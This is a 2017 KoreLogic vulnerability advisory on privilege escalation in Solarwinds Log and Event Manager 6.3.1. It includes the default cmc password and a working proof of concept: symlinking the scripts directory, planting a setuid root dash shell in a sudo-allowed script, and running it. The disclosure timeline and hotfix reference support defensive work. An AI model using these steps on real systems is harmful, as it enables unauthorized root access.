Solarwinds LEM 6.3.1 Sudo Privilege Escalation

Due to lax filesystem permissions, an attacker can take control of a hardcoded sudo path in order to execute commands as a privileged user on Solarwinds Log and Event Manager Virtual Appliance version 6.3.1.


MD5 | 1275e7426a10e7559160b95e00abed97

KL-001-2017-005 : Solarwinds LEM Privilege Escalation via Controlled Sudo Path

Title: Solarwinds LEM Privilege Escalation via Controlled Sudo Path
Advisory ID: KL-001-2017-005
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-005.txt


1. Vulnerability Details

Affected Vendor: Solarwinds
Affected Product: Log and Event Manager Virtual Appliance
Affected Version: v6.3.1
Platform: Embedded Linux
CWE Classification: CWE-281: Improper Preservation of Permissions,
CWE-708: Incorrect Ownership Assignment
Impact: Privileged Access
Attack vector: SSH

2. Vulnerability Description

Due to lax filesystem permissions, an attacker can take control
of a hardcoded sudo path in order to execute commands as a
privileged user.

3. Technical Description

Should an attacker gain access to the SSH console for the
cmc user, root access to the underlying operating system can be
achieved. The default password for the cmc user is "password".

Due to underlying filesystem permissions, it is possible
for the cmc user to assume control of a path hardcoded in
the sudoers file. The attack is started by moving the scripts
directory and creating a symlink to a (now) attacker controlled
scripts directory.

cmc@swi-lem:/usr/local/contego$ mv scripts scripts.real && mkdir scripts && cd scripts.real && for A in * ; do ln
-s ../scripts.real/${A} ../scripts/${A} ; done

Next, a file specified in the sudoers file is overwritten and
then executed using sudo.

cmc@swi-lem:/usr/local/contego/scripts$ diff -u hostname.sh hostname.sh.backdoor
--- hostname.sh 2005-07-01 20:10:17.000000000 -0700
+++ hostname.sh.backdoor 2016-12-11 12:20:35.000000000 -0800
@@ -1,5 +1,10 @@
#!/bin/sh
+# create a backdoor setuid shell
+cp /bin/dash /tmp/sushi
+chown root:root /tmp/sushi
+chmod 4755 /tmp/sushi
+
[snip]
cmc@swi-lem:/usr/local/contego/scripts$ rm hostname.sh && mv -i hostname.sh.backdoor hostname.sh
cmc@swi-lem:/usr/local/contego$ sudo /usr/local/contego/scripts/hostname.sh

This results in a suid dash shell being output to /tmp/sushi.

cmc@swi-lem:/usr/local/contego$ ls -ld /tmp/sushi
-rwsr-xr-x 1 root root 104168 Dec 11 12:21 /tmp/sushi

Running this shell results in root privileges.

cmc@swi-lem:/usr/local/contego$ /tmp/sushi
# id
uid=1001(cmc) gid=1000(trigeo) euid=0(root)
groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)

4. Mitigation and Remediation Recommendation

The vendor has released a Hotfix to remediate this
vulnerability. Hotfix and installation instructions are
available at:

https://thwack.solarwinds.com/thread/111223

5. Credit

This vulnerability was discovered by Hank Leininger and Matt
Bergin (@thatguylevel) of KoreLogic, Inc.

6. Disclosure Timeline

2017.02.16 - KoreLogic sends vulnerability report and PoC to
Solarwinds <psirt@solarwinds.com> using PGP key
with fingerprint
A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F.
2017.02.20 - Solarwinds replies that the key is no longer in
use, requests alternate communication channel.
2017.02.22 - KoreLogic submits vulnerability report and PoC to
alternate Solarwinds contact.
2017.02.23 - Solarwinds confirms receipt of vulnerability
report.
2017.04.06 - 30 business days have elapsed since Solarwinds
acknowledged receipt of vulnerability details.
2017.04.11 - Solarwinds releases hotfix and public disclosure.
2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
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tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


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